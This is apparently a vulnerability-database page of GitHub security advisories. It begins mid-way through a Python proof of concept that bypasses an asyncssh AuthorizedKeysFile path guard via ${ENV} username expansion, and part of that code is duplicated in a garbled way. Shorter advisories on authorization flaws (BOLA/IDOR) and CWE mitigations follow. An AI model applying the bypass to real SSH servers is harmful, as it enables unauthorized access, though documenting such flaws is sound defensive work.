cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n\n print()\n\n # ---- BYPASS B: ${ENV} survives the guard, re-introduces \u0027/\u0027 -----------\n # The username contains no \u0027/\u0027,\u0027\\\\\u0027 and is not \u0027..\u0027, so the guard passes.\n # Token expansion makes %u -\u003e \u0027${HOME}\u0027, then ENV expansion substitutes a\n # server value that DOES contain \u0027/\u0027, defeating the separator filter.\n cfg_b = \"AuthorizedKeysFile %u\"\n os.environ.setdefault(\"HOME\", \"/root\")\n blocked_b = guard_blocks(\"${HOME}\", cfg_b)\n val_b = expand_authkeys(\"${HOME}\", cfg_b)\n print(f\"[B] env bypass user \u0027${{HOME}}\u0027:\")\n print(f\" guard blocks it? {blocked_b} (False == bypass)\")\n print(f\" expanded config value : {val_b} (HOME={os.environ[\u0027HOME\u0027]})\")\n sep_injected = any(\"/\" in p for p in val_b)\n print(f\" contains \u0027/\u0027 after guard? {sep_injected} \u003c-- separator filter bypassed\")\n results.append((\"B: ${ENV} username NOT blocked by guard\", not blocked_b))\n results.append((\"B: ${ENV} re-introduces \u0027/\u0027 the guard rejected literally\",\n sep_injected))\n\n # demonstrate arbitrary \u0027/\u0027-containing absolute path via a referenced var\n os.environ[\"ASYNCSSH_POC_VAR\"] = \"/tmp/asyncssh_poc/INJECTED/authorized_keys\"\n val_b2 = expand_authkeys(\"${ASYNCSSH_POC_VAR}\", cfg_b)\n print(f\" via referenced env var: {val_b2}\")\n results.append((\"B: env value yields absolute \u0027/\u0027-path post-guard\",\n val_b2 == [\"/tmp/asyncssh_poc/INJECTED/authorized_keys\"]))\n\n # ---- verdict ----------------------------------------------------------\n print(\"\\n==== RESULTS ====\")\n ok = True\n for name, passed in results:\n print(f\" [{\u0027PASS\u0027 if passed else \u0027FAIL\u0027}] {name}\")\n ok = ok and passed\n print(\"\\nVERDICT:\",\n \"guard is bypassable via ~ and ${ENV} (incomplete fix CONFIRMED)\"\n if ok else \"one or more checks did not hold\")\n return 0 if ok else 1\n\n\n if __name__ == \"__main__\":\n sys.exit(main())\n```",
"id": "GHSA-qr67-gv47-xwwh",
"modified": "2026-08-26T15:32:00Z",
"published": "2026-08-26T15:32:00Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/security/advisories/GHSA-qr67-gv47-xwwh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54590"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/commit/3d515ba9ba0cd9990d248bdf62bcf05d51261a88"
},
{
"type": "PACKAGE",
"url": "https://github.com/ronf/asyncssh"
},
{
"type": "WEB",
"url": "https://github.com/ronf/asyncssh/releases/tag/v2.23.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "asyncssh has an incomplete fix for CVE-2026-45309 \u2014 AuthorizedKeysFile %u still escapes the intended directory via a leading ~ (and weakly via ${ENV}) username substitution"
}
GHSA-QR6W-MRXG-53J3
Vulnerability from github – Published: 2024-07-09 12:30 – Updated: 2024-07-09 12:30A BOLA vulnerability in GET, PUT, DELETE /customers/{customerId} allows a low privileged user to fetch, modify or delete a low privileged user (customer). This results in unauthorized access and unauthorized data manipulation.
{
"affected": [],
"aliases": [
"CVE-2023-38054"
],
"database_specific": {
"cwe_ids": [
"CWE-639"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-09T11:15:11Z",
"severity": "CRITICAL"
},
"details": "A BOLA vulnerability in GET, PUT, DELETE /customers/{customerId} allows a low privileged user to fetch, modify or delete a low privileged user (customer). This results in unauthorized access and unauthorized data manipulation.",
"id": "GHSA-qr6w-mrxg-53j3",
"modified": "2024-07-09T12:30:56Z",
"published": "2024-07-09T12:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-38054"
},
{
"type": "WEB",
"url": "https://github.com/alextselegidis/easyappointments"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-QR6X-WVXR-8HM9
Vulnerability from github – Published: 2026-03-23 20:39 – Updated: 2026-03-25 20:46Security Advisory — My Page Profile Update (Improper Authorization)
Summary
An improper authorization issue in the My Page profile update feature may allow modification of arbitrary user information.
Affected Versions
- 1.x series: <= 1.41.0
- 2.x series: <= 2.41.0
Patched Versions
- 1.41.1
- 2.41.1
Description
In part of the My Page profile update feature, another user's profile information or password could be modified. If exploited, arbitrary user accounts may be taken over. Exploitation requires that the attacker be able to reach the affected functionality as an authenticated user. Users affected by this vulnerability should update to a fixed version.
Solution
Update to the fixed version. For the 1.x series, update to 1.41.1 or later. For the 2.x series, update to 2.41.1 or later.
Credits
OpenSource WorkShops thanks Sho Odagiri (小田切 祥) of GMO Cybersecurity by Ierae, Inc. for reporting this vulnerability.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.41.0"
},
"package": {
"ecosystem": "Packagist",
"name": "opensource-workshop/connect-cms"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.41.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.41.0"
},
"package": {
"ecosystem": "Packagist",
"name": "opensource-workshop/connect-cms"
},
"ranges": [
{
"events": [
{
"introduced": "2.0.0"
},
{
"fixed": "2.41.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32300"
],
"database_specific": {
"cwe_ids": [
"CWE-285",
"CWE-639"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-23T20:39:10Z",
"nvd_published_at": "2026-03-23T22:16:27Z",
"severity": "HIGH"
},
"details": "# Security Advisory \u2014 My Page Profile Update (Improper Authorization)\n\n## Summary\n\nAn improper authorization issue in the My Page profile update feature may allow modification of arbitrary user information.\n\n## Affected Versions\n\n- 1.x series: \u003c= 1.41.0\n- 2.x series: \u003c= 2.41.0\n\n## Patched Versions\n\n- 1.41.1\n- 2.41.1\n\n## Description\n\nIn part of the My Page profile update feature, another user\u0027s profile information or password could be modified. If exploited, arbitrary user accounts may be taken over. Exploitation requires that the attacker be able to reach the affected functionality as an authenticated user. Users affected by this vulnerability should update to a fixed version.\n\n## Solution\n\nUpdate to the fixed version.\nFor the 1.x series, update to 1.41.1 or later.\nFor the 2.x series, update to 2.41.1 or later.\n\n## Credits\n\nOpenSource WorkShops thanks **Sho Odagiri** (\u5c0f\u7530\u5207 \u7965) of **GMO Cybersecurity by Ierae, Inc.** for reporting this vulnerability.",
"id": "GHSA-qr6x-wvxr-8hm9",
"modified": "2026-03-25T20:46:16Z",
"published": "2026-03-23T20:39:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/security/advisories/GHSA-qr6x-wvxr-8hm9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32300"
},
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/commit/7c9951738c62a1d51b91e9956d1eb756c5d52cce"
},
{
"type": "PACKAGE",
"url": "https://github.com/opensource-workshop/connect-cms"
},
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v1.41.1"
},
{
"type": "WEB",
"url": "https://github.com/opensource-workshop/connect-cms/releases/tag/v2.41.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Connect CMS: Improper Authorization in the My Page Profile Update Feature Allows Modification of Arbitrary User Information"
}
GHSA-QR79-4QWM-2CWC
Vulnerability from github – Published: 2022-05-24 19:06 – Updated: 2022-05-24 19:06Sourcecodester Phone Shop Sales Managements System 1.0 is vulnerable to Insecure Direct Object Reference (IDOR). Any attacker will be able to see the invoices of different users by changing the id parameter.
{
"affected": [],
"aliases": [
"CVE-2021-35337"
],
"database_specific": {
"cwe_ids": [
"CWE-639",
"CWE-706"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-01T14:15:00Z",
"severity": "MODERATE"
},
"details": "Sourcecodester Phone Shop Sales Managements System 1.0 is vulnerable to Insecure Direct Object Reference (IDOR). Any attacker will be able to see the invoices of different users by changing the id parameter.",
"id": "GHSA-qr79-4qwm-2cwc",
"modified": "2022-05-24T19:06:42Z",
"published": "2022-05-24T19:06:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-35337"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/50050"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
Mitigation
Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
Mitigation
Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
No CAPEC attack patterns related to this CWE.